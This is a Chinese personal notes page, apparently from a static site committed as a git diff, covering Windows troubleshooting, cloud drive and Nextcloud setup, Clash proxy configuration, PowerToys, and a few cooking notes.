  • E5开发者账号是E3账号的升级版,可免费续期并体验Office365的全部功能

  • OD的单子账户容量最高15T,理论上可以注册25个子账户


申请流程

  • 进入微软开发者中心open in new window并进入Office子项
    20210403092546
  • 加入开发人员计划
    2021040309350120210403093524
  • 填写基本信息并进入下一步
    • 国家选中国(否则国内连接服务器延迟可能会很高),企业随便填
    • 20210403093832
    • 下一步的信息按照自己的实际情况填写即可
  • 设置开发者订阅
    • 验证个人信息,密码,手机号
    • 20210403094040
  • 转到订阅进行进一步设置 20210403094241
  • 进入OD
    20210403094714
  • 进入活跃用户界面open in new window
    • 20210403095449
    • 更改空间即可
    • 20210403095727
  • 每个E5账号可以注册25个子账号,除去管理员和一个空子账号有23个账号
    • 当子账号>5 && 每个子账号的OD容量只剩0.5T时可以向微软提交工单扩容到25T

续期

  • 理论上只需要调用Office365的API,可以部署OneIndex或者Cloudreve
  • 绑定 Github 账号并保持活跃

OneIndex

自己懒得搭了( 配合本地OneDriveBusiness当同步分享盘了
20210403114429


同步目录空格路径解决

默认情况下 OneDrive 的同步目录根目录所在文件夹名称是 OneDrive - 组织名称 的形式, 中间是有两个空格的, 这可太不优雅了, 可以通过创建符号链接的形式来解决这个问题
管理员模式打开 CMD 执行如下指令:

# 创建符号链接 E:\OneDriveE5\Pro 指向 E:\OneDriveE5\mixon\OneDrive - ayusummer
+mklink /J OneDriveE5\mix "E:\OneDriveE5\mixon\OneDrive - ayusummer"
+
  • OneDriveE5\mix 目录在执行完命令后会自动创建

将云盘挂载到本地(RaiDrive)

  • 云盘支持

    • Personal : GoogleDrive, OneDrive, Dropbox, Box, MEGA, PCloud, YandexDisk, Mail.ru.Cloud, GooglePhotos

      基本都要挂代理,OneDrive看个人情况,我这边是无法直连的

    • Business : Google Shared drives, OneDrive, DropBox, SharePoint

    • Enterprise : AWS S3, Azure Storage, Google Cloud Storage, Naver Object Storage, Alibaba Object Storage, Wasabi Object Storage, IBM Object Storage

    • NAS : WebDAV, SFTP, FTP, Nextcloud, Synology(群晖), ASUSTOR(华硕), QNAP(威联通), ipTIME


  • 效果:

    • 20210404202719
  • 下载RaiDriveopen in new window并安装到自定义位置后打开软件,可以自行更新到最新版本(本就是官网有提供的free版)
    20210404203117

如果安装的时候出现问题可以选择忽略,这样依然装好了,运行桌面上的快捷方式,在设置里面检查更新到最新版本安装的时候基本不会报错 也可以直接在官网open in new window下载(可能需要一些魔法)


  • 安装完后点击工具栏中的添加按钮进行添加,点击确定后会弹出登录界面,按照你要挂载云盘的账号登录并授权即可
    20210405192941

我这里用的是E5开发者订阅里的OneDrive Business,墙内是可以直连的,不用挂代理;


  • 最初找这个只是为了能让PotPlayeropen in new window能更方便地访问云盘中的视频资源从而在本地倍速播放云端的视频; 20210405195251

微软商店中的iCloud

  • 有点糟心,Microsoft Store里下载的iCloud只能装在系统盘,并且没有找到有效的方法能够将其移到非系统盘

后记: 建议放弃在非apple设备上使用iCloud
有一说一,真的烂(
删除win10 删除icloud后资源管理器icloud图标无法删除? - 知乎 (zhihu.com)open in new window


Cloudreve

快速开始 - Cloudreveopen in new window


WebDav 使用

可用于双向同步云盘和本地文件, 需要使用第三方 Webdav 客户端 Raidrive

首先需要在浏览器 cloudreve 页面的 WebDAV 选项卡添加账户, 并记住提示中的地址和登录名以及新建账号的密码

image-20220829110858019

然后打开 Raidrive 配置下 WebDAV 挂载

image-20220829110810634

然后就可以在文件资源管理器中看到了

image-20220829111044719


Nextcloud

服务器搭建

Docker 搭建可以参考: nextcloud/all-in-one: Nextcloud AIO stands for Nextcloud All-in-One and provides easy deployment and maintenance with most features included in this one Nextcloud instance. --- nextcloud/all-in-one:Nextcloud AIO 代表 Nextcloud All-in-One,通过该 Nextcloud 实例中包含的大多数功能提供轻松的部署和维护。 (github.com)open in new window

ubuntu:

sudo snap install nextcloud
+

安装完成后访问 80 端口配置管理员账密即可使用


配置

当有多张网卡时, 似乎默认情况下只允许了第一张网卡访问 web 页面, 可以手动到 /var/snap/nextcloud/current/nextcloud/config/config.php 配置 trusted_domains 以允许通过其他网卡访问web

  'trusted_domains' => 
+  array (
+    0 => '10.10.10.21',
+    1 => '192.168.1.21',
+  ),
+

Microsoft


Edge


扩展

  • 默认安装目录 : C:\Users\用户名\AppData\Local\Microsoft\Edge\User Data\Default\Extensions

Windows

内核隔离

Windows 10中的核心隔离和内存完整性是什么? | MOS86open in new window

20211218173047-内核隔离警告

20211218173109-不兼容驱动

20211218180744-不兼容驱动详细信息

解决方案: Windows 10 Core Isolation: Remove incompatible drivers - Administratoropen in new window
Core Isolation - Memory Integrity Not Turning On - Driver - Microsoft Communityopen in new window
PnPUtil 命令语法 - Windows drivers | Microsoft Docsopen in new window
PnPUtil 示例 - Windows drivers | Microsoft Docsopen in new window

mark 下上面每个不兼容驱动的 发布名称

管理员模式打开 powershell, 可以先查看下驱动列表

pnputil /enum-drivers
+

筛下不兼容驱动的相关信息

发布名称:     oem61.inf
+原始名称:      ew_usbccgpfilter.inf
+提供程序名称:      Huawei
+类名:         USB
+类 GUID:         {36fc9e60-c465-11cf-8056-444553540000}
+驱动程序版本:     05/18/2016 1.0.9.0
+签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
+
+发布名称:     oem91.inf
+原始名称:      hw_cdcacm.inf
+提供程序名称:      HUAWEI Technologies CO.,LTD
+类名:         Ports
+类 GUID:         {4d36e978-e325-11ce-bfc1-08002be10318}
+驱动程序版本:     05/18/2016 1.0.26.0
+签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
+
+发布名称:     oem62.inf
+原始名称:      hw_quser.inf
+提供程序名称:      Huawei Incorporated
+类名:         Ports
+类 GUID:         {4d36e978-e325-11ce-bfc1-08002be10318}
+驱动程序版本:     11/28/2016 2.0.6.725
+签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
+
+发布名称:     oem34.inf
+原始名称:      hw_usbdev.inf
+提供程序名称:      Huawei Incorporated
+类名:         Ports
+类 GUID:         {4d36e978-e325-11ce-bfc1-08002be10318}
+驱动程序版本:     04/20/2012 1.3.0.0
+签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
+
+发布名称:     oem116.inf
+原始名称:      hw_cdcmdm.inf
+提供程序名称:      HUAWEI Technologies Co.,LTD
+类名:         Modem
+类 GUID:         {4d36e96d-e325-11ce-bfc1-08002be10318}
+驱动程序版本:     11/28/2016 1.0.26.0
+签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
+
+发布名称:     oem110.inf
+原始名称:      hw_qumdm.inf
+提供程序名称:      Huawei Incorporated
+类名:         Modem
+类 GUID:         {4d36e96d-e325-11ce-bfc1-08002be10318}
+驱动程序版本:     05/18/2016 2.0.6.725
+签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
+

执行如下命令删除相应驱动程序包

pnputil /delete-driver oem61.inf
+pnputil /delete-driver oem91.inf
+pnputil /delete-driver oem62.inf
+pnputil /delete-driver oem34.inf
+pnputil /delete-driver oem116.inf
+pnputil /delete-driver oem110.inf
+

20211218181950-删除不兼容驱动

重新扫描

20211218182035

20211218182146

这两个驱动实在找不到(, 驱动检测里没有, C:\Windows\System32\DriverStore\FileRepository 也没有

解决方案: 如何在卸载游戏后完全删除TP? - (qq.com)open in new window

打开 C:\Windows\System32\drivers 可以找到 TesMon.sys

20211218182922-TesMon.sys

删除 TesMon.sys 然后重新重新扫描

20211218190522-UniFairySys.sys

20211218192308-UniFairySys.sys-搜索结果

20211218192422-UniFairySys.sys-属性

20211218192556-UniFairySys.sys-数字签名

20211218192739-UniFairySys.sys-位置

C:\Windows\System32 目录下, everything 检索结果中的另一个也出现在了其属性中的 "原始名称"字段中, 且检索资料时也有说这个文件导致崩崩崩游戏蓝屏之类, 所以将此文件剪切到其他目录再重新扫描试试, 后面如果有关于此文件的报错再将其放回去

20211218193109

Windows 10中的核心隔离和内存完整性是什么? | MOS86open in new window
查阅资料中发现这个功能可能会导致虚拟机运行异常, 不过遇见这种问题时再把功能关掉就是了(

重启计算机, 检查下是否有虚拟机运行异常

20211218194344
基于 Hyper-V 的 BlueStacks 模拟器运行正常
WSL2 异常


WSL2 DNS 服务异常

无法正确解析域名, 直接 ping ip 可以 ping 通, 排查了一圈发现主网也 ping 不通

解决方案: WSL 2 自定义安装目录和网络配置_daihaoxin的专栏-CSDN博客_wsl2目录open in new window

20211218213224

  • 网络: 172.22.0.0, 20 位掩码

配置主网防火墙入站规则

  • 规则类型: 自定义
  • 程序: 所有程序
  • 协议和端口: 默认值不做改动
  • 作用域: 此规则适用于哪些本地 IP 地址?: 下列 IP 地址 -> 添加 -> 此 ip 地址或子网: 172.22.0.0/20
  • 操作: 允许连接
  • 配置文件: 全选
  • 名称自定义

然后在 WSL2 里重新 ping 主网又能 ping 通了, DNS 也正常了, 可以 ping 同其他域名了

缺点在于计算机重启后 WSL2 主网地址可能会变(
需要再配下防火墙
挺秃然的, 没有完全搞清楚原理, 无法一劳永逸地解决这个问题


针对某一软件关闭用户账户控制

如何对某一程序取消用户账户控制_百度知道 (baidu.com)open in new window

当设置了应用以管理员身份运行时, 在运行应用时会弹出一个用户账户控制的弹窗, 你要允许此应用对你的设备进行更改吗?, 用户只有点击 之后才能正常运行应用, 对于一个已经设置了以管理员身份运行的应用要跳过此步的话可以做如下操作

打开注册表编辑器在 HKEY_CURRENT_USERS\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers 下新建值

  • 值的名称是程序的绝对路径
  • 值数据时 RunAsInvoker

image-20221101233113947


命令行重启文件资源管理器

Windows 的任务栏和文件资源管理器(Explorer) 是一体的, 因此如果出现了任务栏莫名卡死或者消失的问题时可以在任务管理器中找到文件资源管理器并重启

有时候可能在任务管理器中没能找到文件资源管理器, 或者查找比较困难, 那么此时也可以使用命令行或者 powershell 来终止并启动 explorer

# 强制终止 explorer
+taskkill /IM explorer.exe /F
+# 启动 explorer
+explorer
+

你需要来自 S-1-5-21-XXXX-XXX-XXX 的权限才能对此文件夹进行更改

你需要来自 S-1-5-21-XXXX-XXX-XXX - Microsoft Communityopen in new window

Win10无法删除文件提示“你需要来自system的权限”的解决方案-系统城·电脑系统下载之家 (xitongcheng.com)open in new window

重装系统但是没格式化其他盘符, 在同步 Onedrive 时发现没有文件操作权限, 尝试删除提示需要来自 S-1-5-21-xxxx 的权限才能删除, 猜测是原本系统用户创建的文件, 在系统被扬了之后用户找不到了就变成 S-1-5-xx 这种不可读的形式了

解决方案为 右键文件夹->属性->安全->高级 可以看到所有者是 S-1-5-xxx, 勾选



图片OCR->表格

白描open in new window


英语学习

背单词:

沙拉查词open in new window


clash

Github/Dreamacro/clashopen in new window
Github/Dreamacro/clash-dashboardopen in new windowalvinkwok/clashForLinux安装配置open in new window


正确配置Clash For Windows的TUN、TAP、系统代理三种模式? | 来去之间 (clashdingyue.tk)open in new window

clash 中的 minxin 使用教程 - cornradio的技术博客open in new window

steam如何绕过clash的全局代理 - cornradio的技术博客open in new window


Clash for windows RCE 漏洞 - FreeBuf网络安全行业门户open in new window

Clash Version <= V0.19.8 存在 RCE 漏洞, 建议升级到 V0.19.10 及以上版本


Windows 端的配置比较方便, Linux 端主要需要注意普通用户和root用户的区别以及需要多配置一个 dashboard 来管理

下面主要记录下 ubuntu 上使用 clash 的随笔

需要注意的是, 使用不同的用户进行操作生成的配置文件会在对应用户的 .config 目录下, 如下记录的是使用 root 用户登录时进行的操作(SSH 链接的 ubuntu 设备, 习惯了 root; 相应的桌面端的话一般是普通用户)

/root/.config/ 目录下新建一个 clash 目录

Releases · Dreamacro/clash (github.com)open in new window 下载对应的安装包, 这里我选择的是 clash-linux-amd64-v1.13.0.gzopen in new window

# 解压该 gz 包得到一个文件, 给该文件加上执行权限
+gunzip clash-linux-amd64-v1.13.0.gz
+chmod u+x clash-linux-amd64-v1.13.0
+

clone dashboard 仓库并切换到 gh-pages 分支:

git clone https://github.com/Dreamacro/clash-dashboard.git
+cd clash-dashboard
+git checkout -b gh-pages origin/gh-pages
+

尝试过使用镜像 clone, 但是在 git checkout -b gh-pages origin/gh-pages 这步会报错找不到 origin/gh-pages 分支, 由于裸连能 clone 下来所以没再处理

下载配置信息

sudo wget -O config.yaml [订阅链接]
+sudo wget -O Country.mmdb https://www.sub-speeder.com/client-download/Country.mmdb
+

编辑 config.yaml 的如下三个属性, 分别对应页面端口, 访问密钥以及页面所在目录

external-controller: '0.0.0.0:9090'
+secret: 'xxxxxxx'
+external-ui: '/root/.config/clash/clash-dashboard'
+

尝试运行 clash

screen -S clash
+./clash-linux-amd64-v1.13.0
+

访问 [ip]:[port]/ui 输入密钥登入

到这里没问题的话就可以配置下系统代理了

image-20230201151825066

有些程序不走系统代理,需要单独配置,比如 git, 需要单独进行配置

git config --global http.proxy "http://127.0.0.1:7890"
+

pip 报错 ValueError: check_hostname requires server_hostname

image-20230718235830248

image-20230718235900189

解决方案: 打开该项配置:

image-20230719000029091

bpo-42627: Fix wrong parsing of Windows registry proxy settings by CrazyBoyFeng · Pull Request #26307 · python/cpython · GitHubopen in new window

开了之后就正常了:

image-20230719000057721



TUN Mode

TUN 模式 | Clash for Windows (lbyczf.com)open in new window

正确配置Clash For Windows的TUN、TAP、系统代理三种模式? | 来去之间 (clashdingyue.tk)open in new window

Clash for Windows 优雅地使用 TUN 模式接管系统流量 · Dejavu's Blogopen in new window

Clash 有三种代理模式

  • 系统代理模式

    • 最简单的一种模式,只需要开启系统代理的开关即可。
    • 但是有些软件不走系统代理,因此这种模式适合普通用户,平常用浏览器进行科学上网的。
  • Clash Tap Device模式

    • Clash Tap 虚拟网卡模式,让所有的流量走虚拟网卡,实现真正的全局翻墙模式,实现所有软件代理。

    • TAP二层设备,模拟一个物理以太网设备,操作第二层数据包如以太网数据帧

      对于不遵循系统代理的软件,TUN 和 TAP 模式都可以接管系统流量并交由 CFW 处理,但是 TUN 模式在 Windows 下拥有比 TAP 模式更好的性能,

  • Clash TUN Mode模式

    • TUN三层设备 ,模拟一个网络层设备,操作 第三层 数据包比如 IP 数据包,TUN 虚拟网卡实现 IP 层隧道

      Tun 模式通过新建一个 Tun 虚拟网卡接受操作系统的三层浏览流量,从而拓展 Clash 入口(inbound)转发能力,Tun 模式可以提升 Clash 处理 UDP 流量的能力,可以劫持任何三层流量,实现 DNS 劫持也是轻而易举,并且它与部分操作系统的网络栈结合也非常好,可以提升利用 iptables 等组件的能力

    • 对于不遵循系统代理的软件,TUN 模式可以接管其流量并交由 CFW 处理,在 Windows 中,TUN 模式性能比 TAP 模式好

    注意: 近期大部分浏览器默认已经开启“安全 DNS”功能,此功能会影响 TUN 模式劫持 DNS 请求导致反推域名失败,请在浏览器设置中关闭此功能以保证 TUN 模式正常运行

  • 什么情况下需要开启TAP/TUN ?

    • 在使用一些游戏软件需要加速,或者一些不遵循系统代理的软件时,需要开启 TAP/TUN 模式。
    • 专业用户,例如IT、开发人员,需要经常操作终端,使用开发软件,用到Linux子系统的建议使用TUN模式。
    • 其实大部分软件都走系统代理,例如浏览器,但是有些不走系统代理,例如某些游戏,Git等。平时使用浏览器翻墙,比如访问google网站,或者使用一些遵循系统代理的软件时,不需要开启 TAP/TUN 模式。建议直接使用系统代理模式。
    • Windows 中的 UWP 应用是无法走这个代理的,因为 UWP 应用网络隔离的‘沙箱’特性,因此我们还需要使用 UWP Loopback 中的轻量 Fiddler Web Debuger 来解锁 UWP 应用的网络隔离,后续新安装的 UWP 应用也要按照上面步骤进行添加,否则 UWP 应用就会无法联网;此外,像 Git、npm、yarn 这些是无法走系统代理的,需要 手动设置代理open in new window,而且一些不支持设置代理但又无法在天朝直连国际互联网的软件/应用 Fuxk GFW 也是个难题,而绝佳的 CFW(Clash For Windows) 提供了 TUN/TAP 模式就很好的解决了这个问题
    • 在使用局域网VPN时, 如果同时启用了 TUN Mode 可能会导致网络异常, 此时建议使用 System Proxy
  • 启用 TUN Mode(0.19.27以上版本)

    • 点击GeneralService Mode右边Manage,在打开窗口中安装服务模式,安装完成应用会自动重启,Service Mode 右边地球图标变为绿色即安装成功(无法安装参考:这里open in new window

      Service Mode 作用是啥?为什么要开启这个模式 · Issue #2839 · Fndroid/clash_for_windows_pkg (github.com)open in new window

      image-20230719003009188

      image-20230719003029472

    • 点击GeneralTUN Mode右边开关启动 TUN 模式

      相应的需要关闭 System Proxy, 如果装了 Tap Server 也需要相应 uninstall, 因为三种模式之间可能会冲突

      image-20230719003133662

      如果使用system作为 TUN stack,需要同时在系统防火墙中将 clash core 放行,方法如下:

      0.19.27及以上版本中,点击 Clash Core 版本号前的图标,并在 UAC 弹窗(若有)中允许运行,CFW 将自动配置对应的防火墙规则。

      成功配置防火墙规则后该图标作为指示灯亮起。

      img


Mixin

Mixin | Clash for Windows (lbyczf.com)open in new window

clash 中的 minxin 使用教程 - cornradio的技术博客open in new window

简单说,mixin是一种混合配置的方式,你可以把自己的配置注入到“配置文件”中,这样就可以在一定程度上的自定义配置了,比如加入一些你自己的规则之类的。

image-20230719004524193

例如:在配置文件中统一添加dns字段,操作如下:

  1. 进入 Settings 页面

  2. 滚动至 Profile Mixin 栏

  3. 点击 YAML 右边 Edit 小字打开编辑界面

  4. 在修改编辑界面内容为:

    mixin: # 注意下面缩进
    +  dns:
    +    enable: true
    +    listen: :53
    +    nameserver:
    +      - 8.8.8.8
    +
  5. 点击编辑器右下角保存

在启动或切换配置时,上面内容将会替换到原有配置文件中进行覆盖

TIP

配置文件内容不会被修改,混合行为只会发生在内存中

可以通过任务栏图标菜单开关这个行为


Bypass

绕过系统代理 | Clash for Windows (lbyczf.com)open in new window

0.16.2 版,Steam 商店、社区无法加载 · Issue #2035 · Fndroid/clash_for_windows_pkg (github.com)open in new window

steam如何绕过clash的全局代理 - cornradio的技术博客open in new window

可以自定义系统代理需要绕过的域名或 IP, 常用于配置局域网域名不使用代理或是其他指定的不想使用代理的域名(例如Steam游戏下载)

image-20230719005351367

一般情况下后台基本都会挂着 Clash, 然而当需要登 Steam 下游戏时, 如果当前代理的配置中相应域名走了 Proxy 那就比较耗流量且较慢(毕竟 Steam 下载设置中是可以设置国内地区的)

此时则可以修改

bypass:
+# Steam中国大陆地区游戏下载
+  - "steampipe.steamcontent.tnkjmec.com" #华为云
+  - "st.dl.eccdnx.com" #白山云
+  - "st.dl.bscstorage.net"
+  - "st.dl.pinyuncloud.com"
+  - "dl.steam.clngaa.com" #金山云
+  - "cdn.mileweb.cs.steampowered.com.8686c.com" #网宿云
+  - "cdn-ws.content.steamchina.com"
+  - "cdn-qc.content.steamchina.com" #腾讯云
+  - "cdn-ali.content.steamchina.com" #阿里云
+# Steam非中国大陆地区游戏下载/社区实况直播
+  - "*.steamcontent.com"
+# Steam国际创意工坊下载CDN
+  - "steamusercontent-a.akamaihd.net" #CDN-Akamai
+# Origin游戏下载
+  - "ssl-lvlt.cdn.ea.com" #CDN-Level3
+  - "origin-a.akamaihd.net" #CDN-Akamai
+# Battle.net战网中国大陆地区游戏下载
+  - "client05.pdl.wow.battlenet.com.cn" #华为云
+  - "client02.pdl.wow.battlenet.com.cn" #网宿云
+# Battle.net战网非中国大陆地区游戏下载
+  - "level3.blizzard.com" #CDN-Level3
+  - "blzddist1-a.akamaihd.net" #CDN-Akamai
+  - "blzddistkr1-a.akamaihd.net"
+  - "kr.cdn.blizzard.com" #CDN-Blizzard
+  - "us.cdn.blizzard.com"
+  - "eu.cdn.blizzard.com"
+# Epic Games中国大陆地区游戏下载
+  - "epicgames-download1-1251447533.file.myqcloud.com"
+# Epic Games非中国大陆地区游戏下载
+  - "epicgames-download1.akamaized.net" #CDN-Akamai
+  - "download.epicgames.com" #CDN-Amazon
+  - "download2.epicgames.com"
+  - "download3.epicgames.com"
+  - "download4.epicgames.com"
+# Rockstar Launcher客户端更新/游戏更新/游戏下载
+  - "gamedownloads-rockstargames-com.akamaized.net"
+# GOG中国大陆游戏下载/客户端更新
+  - "gog.qtlglb.com"
+# GOG非中国大陆游戏下载/客户端更新
+  - "cdn.gog.com"
+  - "galaxy-client-update.gog.com"
+

桌面显示器屏幕使用体验

写这份随笔的时候已经入手 小米 34英寸 WQHD 这款带鱼屏一个月有余了, 实际体验下来确实比之前双屏三屏副屏的时候体验要好不少, 至少脖子没有那么不舒服了

最开始有副屏需求是为了能够边写代码边看文档, 但是笔记本 15.6 英寸的屏幕同时代码和文档两个窗口的话太挤, 要么代码看不全要么文档看不全, 最初尝鲜副屏没有太多预算, 于是花 236 在咸鱼淘了个 13.5 英寸 1080P 的 DIY 副屏

image-20220328222132611

image-20220328222148173

从无到有的体验还是比较奇妙的, 总的来说写代码的体验有了质的提升, 至少不用来回切屏了, 不过 DIY副屏驱动板拖着一根排线接着屏幕, 支架也是个 DIY 的塑料支架, 直到有一次在图书馆折了支架又裂了排线后有了换屏幕的想法, 再加上 13.6 英寸的屏幕感觉还是有些小, 于是又入了一个 23.8 英寸的 熊猫 PH24QA2

image-20220328222820090

感觉屏幕素质还好, 不过这款显示器就无法竖起来放置了, 基本上都是斜着放置在左侧, 比起上一个可以竖起来放置的 13.6 英寸的 DIY 屏幕, 这款显示器的优势在于屏幕更大了, 可以放下更多的内容, 不过纵向长度感觉变短了

用过一段时间的左边是 23.8 英寸的显示器, 中间放个 15.6 英寸的笔记本, 右边竖起来放置一个 13.6 英寸 DIY 屏幕, 不过后面由于宿舍桌子长度有限且二人共用因此撤掉了右侧的 DIY 屏幕送给室友用了

用了一段时间后愈发觉得这个显示器别扭, 放文档的话为了减少脖子扭动的幅度一般会放在靠近笔记本屏幕的一侧贴半边, 不过这也就导致了显示器的左半侧使用是一个比较尴尬的地方, 我需要扭动脖子将近 60° 去看左半边的屏幕, 这对脖子太不友好了, 而且两个屏幕之前的大块空隙完全是视野无效区域, 就算是在显示器右半边看文档, 时间长了脖子还是会有些酸痛, 于是就有了入个大点的屏幕的想法, 于是在今年 2 月入了小米的这款 34 英寸的带鱼屏

image-20220328224024373

宿舍桌面空间有限, 就把笔记本放在了桌面上层的书架格子上背过放置, 这样比较方便走线

左侧那个显示器拍摄当时是想出掉所以拿出来放在侧边准备截下参数和色域检测以及坏点检测之类的图的, 并不是与带鱼屏一起使用(而且也不想再大浮动扭脖子看另一个屏幕了

一个月的使用体验上来看, 带鱼屏对于我个人码代码方面还是比较友好的, 属于是折腾这么长时间以来使用体验最舒服的一次折腾 (当然也是最贵的一次(ಥ_ಥ)

windows 自带的分屏可以覆盖大多数应用场景

  • 需要长时间使用单个窗口时一般将窗口防止屏幕中央占大块区域

    比如 Typora 专注写一份文档

    image-20220328224910432

    放在中间正对面部基本就不需要扭脖子了

  • 写前端项目时我一般会打开 4 个窗口, 文档, 笔记, 调试页面, 编码页面

    最开始用的是上图中的中间大块区域码代码两边一侧文档一侧笔记的分屏方式, 但是总感觉哪里不太对, 除了需要单独切出来调试界面外后来换用了另一种分屏方式后发现文档那屏宽度不太够, 有的博主的文章样式比较怪, 横向全显示不支持滚动, 有的则是代码看不全;

    后来在实践中找到了合适的窗口排布方案, 不过由于不是 win11 原生支持的贴边所以为了不频繁切换窗口就新建了一个虚拟桌面专门用来放置写前端项目的这四个窗口

    image-20220329074440333

    image-20220329074906822

    除了四格外还放了 picgo 的上传图片界面以及 ShareX 的截图文件夹, 用来给笔记贴 gif 图

    image-20220329075153895

    前端项目的四格单放一个桌面后原本的主桌面主要用于放置其他日常窗口以及 Typora 正在书写的笔记对应的 VSCode 窗口

    image-20220329075415478

    毕竟 Typora 没有 Wakatime 插件, 而 VSCode 有 wakatime 扩展, 不在 VSCode 中打开相应文件的话就会丢失这部分的时间记录

    此外, 让我比较愉悦的一点在于, 这块屏幕终于能让我完整地看完 wakatime 的页面了(

    image-20220329075832380

    image-20220329080647578

    目前写前端项目的桌面状态差不多就是这样

    pad 主要用于看视频教程, 不看视频教程时一般就是用来放音乐(


Win11 设置合盖不休眠

控制面板 -> 硬件和声音 -> 电源选项 -> 选择关闭笔记本计算机盖的功能 -> 关闭盖子时不采取任何操作

image-20220707003226256


Game

Steam


steam工具箱

  • steam工具箱@rmbadminopen in new window
  • Releases找最新的一次发行,下载第一个压缩文件,解压即可使用
  • steam工具箱使用示意
  • 点加速后若提醒443端口被占用可以去找一下是什么进程占用了443端口
    • Win+R输入cmd并回车进入命令行界面输入netstat -ano|findstr "443"并回车
      查看端口占用

    • tasklist |findstr "16280"
      输入图片说明

      我这里已经成功运行了,所以这里是steam工具箱占用了443端口

      • 如果显示vmware-hosted.exe占用443端口那么打开VMWare
        输入图片说明

手游模拟器

蓝叠模拟器 5(支持 Hyper-V)

如何在 Windows 上為 BlueStacks 5 開啟 Hyper-Vopen in new window

需要注意的是模拟器启动程序务必使用管理员模式启动

20211208145623

如何從您的電腦上完全移除BlueStacks 5open in new window
Bluestacks 5 Cannot Start BlueStacks on Win11 (any 64Bit instance version)open in new window


PowerToys


自定义窗口布局

image-20220508084455471

使用快捷键打开 FancyZiones 编辑器:

image-20220508083929402

自定义完布局后按住 Shift 并拖动窗口就可以像使用原生贴边一样进行窗口排版了(如果设置了布局快捷键的话此时可以按下布局快捷键数字来显示自定义的不同布局进行贴靠)

窗口之间不想留太多距离的话可以在自定义布局时将区域周围的空间设置为0

image-20220508085213113


调整图像大小

image-20220508085743432

image-20220508085807402

image-20220508085728963

image-20220508085838940

image-20220508090021884


始终置项

image-20220508090222743

image-20220508090404436

始终此功能可以将一些不支持置项的窗口进行置项(比如原生的便筏)

image-20220508090440581


文件资源管理器加载项

enmmm, 本身 explorer 就比较卡, 平时能不打开Explorer就不打开Explorer, 因此对这项功能无感


鼠标实用工具

image-20220508091000734

最有用的地方在于可以双击ctrl来找鼠标指针, 会有一个聚焦效果, 不用再乱晃鼠标找指针了

image-20220508091126088

荧光笔功能比较无感, 鼠标按住移动的时候周围会有一圈高亮(类似上面的聚焦圈圈换个亮黄色), 但是不显示轨迹, 就是单纯的一个跟着指针的圈


字体


中易宋体和微软雅黑

在打印文本的正文字体中,宋体(中易)和微软雅黑孰优孰劣? - 知乎 (zhihu.com)open in new window

Windows自带的宋体、黑体、楷体、仿宋体等能免费商用吗? - 知乎 (zhihu.com)open in new window

对不起,微软雅黑不是免费字体 - 知乎 (zhihu.com)open in new window

总的来说, 微软雅黑不适合印刷品, 中易宋体是一种印刷字体但是比较平庸

而且这两款windows自带的字体虽然使用频率很高, 但是并不能免费商用


活动监控

可以用 WakaTimeopen in new window 做代码时间监控

image-20230201223505418

对于窗口活动监控可以使用 ActivityWatch/activitywatch: The best free and open-source automated time tracker. Cross-platform, extensible, privacy-focused. (github.com)open in new window

image-20230201223638262


零散报错

Win11 下 QQ 调起文件资源管理器 C:\WINDOWS\SYSTEM32\ntdll.dll 报错

ntdll.dll故障_a874045的博客-CSDN博客_ntdll.dll错误open in new window
如何在Windows 10使用sfc /scannow命令? - 都叫兽软件 | 都叫兽软件 (reneelab.com.cn)open in new window

image-20211225082416864

管理员权限打开 powershell 后输入

sfc /SCANNOW  
+
  • sfc/scannow 是 sfc(系统文件检查器)的一条运行命令,运行该命令时可以扫描所有受保护的系统文件的完整性,并自动修复出现问题的系统文件。

    扫描过程会比较长

  • SFC

    • sfc /scannow:扫描所有受保护系统文件的完整性,并尽可能修复有问题的文件
    • sfc /verifyonly:扫描所有受保护系统文件的完整性,不会执行修复操作
    • sfc /scanfile:扫描引用的文件的完整性,如果找到问题,则修复文件(需指定完整路径)
    • sfc /verifyfile:验证带有完整路径的文件的完整性,但不会执行修复操作
    • sfc /offbootdir:对于脱机修复,指定脱机启动目录的位置
    • sfc /offwindir:对于脱机修复,指定脱机Windows目录的位置
    • sfc /logfile:对于脱机修复,通过指定日志文件路径选择性地启用记录

20211225083521
扫描完成, 未发现异常, 那可能是我注册表出了问题

以管理员权限打开CMD, 执行以下命令把 %systemroot%\system32 下所有的 dll 文件重新注册一遍

for %1 in (%windir%\system32\*.dll) do regsvr32.exe /s %1
+

重启 QQ 后, 可以正常调起 Explorer 了

可能是之前用 CCleaner 清注册表的时候误删了

+ + + diff --git a/DailyLife/index.html b/DailyLife/index.html new file mode 100644 index 0000000000..d3e83dfd29 --- /dev/null +++ b/DailyLife/index.html @@ -0,0 +1,40 @@ + + + + + + + + Daily Life | DailyNotes + + + + + + +
跳至主要內容

Daily Life

小于 1 分钟

+ + + diff --git "a/DailyLife/\347\224\237\346\264\273.html" "b/DailyLife/\347\224\237\346\264\273.html" new file mode 100644 index 0000000000..f653dc6527 --- /dev/null +++ "b/DailyLife/\347\224\237\346\264\273.html" @@ -0,0 +1,40 @@ + + + + + + + + 厨房 | DailyNotes + + + + + + +
跳至主要內容

厨房

小于 1 分钟

厨房

无论什么时候, 只要用厨房, 厨房必须要有人看着


红茶绿茶

( 红茶和绿茶,哪个益处大? - 知乎 (zhihu.com)open in new window

绿茶性寒, 红茶性温; 可以夏饮绿茶, 冬饮红茶

+ + + diff --git "a/DailyLife/\351\243\237\350\260\261/index.html" "b/DailyLife/\351\243\237\350\260\261/index.html" new file mode 100644 index 0000000000..44ac4c427a --- /dev/null +++ "b/DailyLife/\351\243\237\350\260\261/index.html" @@ -0,0 +1,40 @@ + + + + + + + + 食谱 | DailyNotes + + + + + + +
跳至主要內容

食谱

大约 4 分钟

食谱

地锅鸡

【曼食慢语】这锅鸡里贴的面饼子,比肉还让人上瘾!_哔哩哔哩_bilibiliopen in new window

大厨教你徐州“地锅鸡”正宗做法,从和面开始,全都告诉你_哔哩哔哩_bilibiliopen in new window


image-20230611204752633

image-20230611204812200

image-20230611204827733

image-20230611204837289

看上去理想状况下两小时可以解决问题, 实际上第一次做的时候从下午三点开始买菜, 到晚上七点才吃上

d7a8ee61eddc5f173180f330a009acbe
  • 买面粉的时候如果是散称的话最好多买些, 防止和面的时候反复调比例到面粉用完还没和好面

材料准备

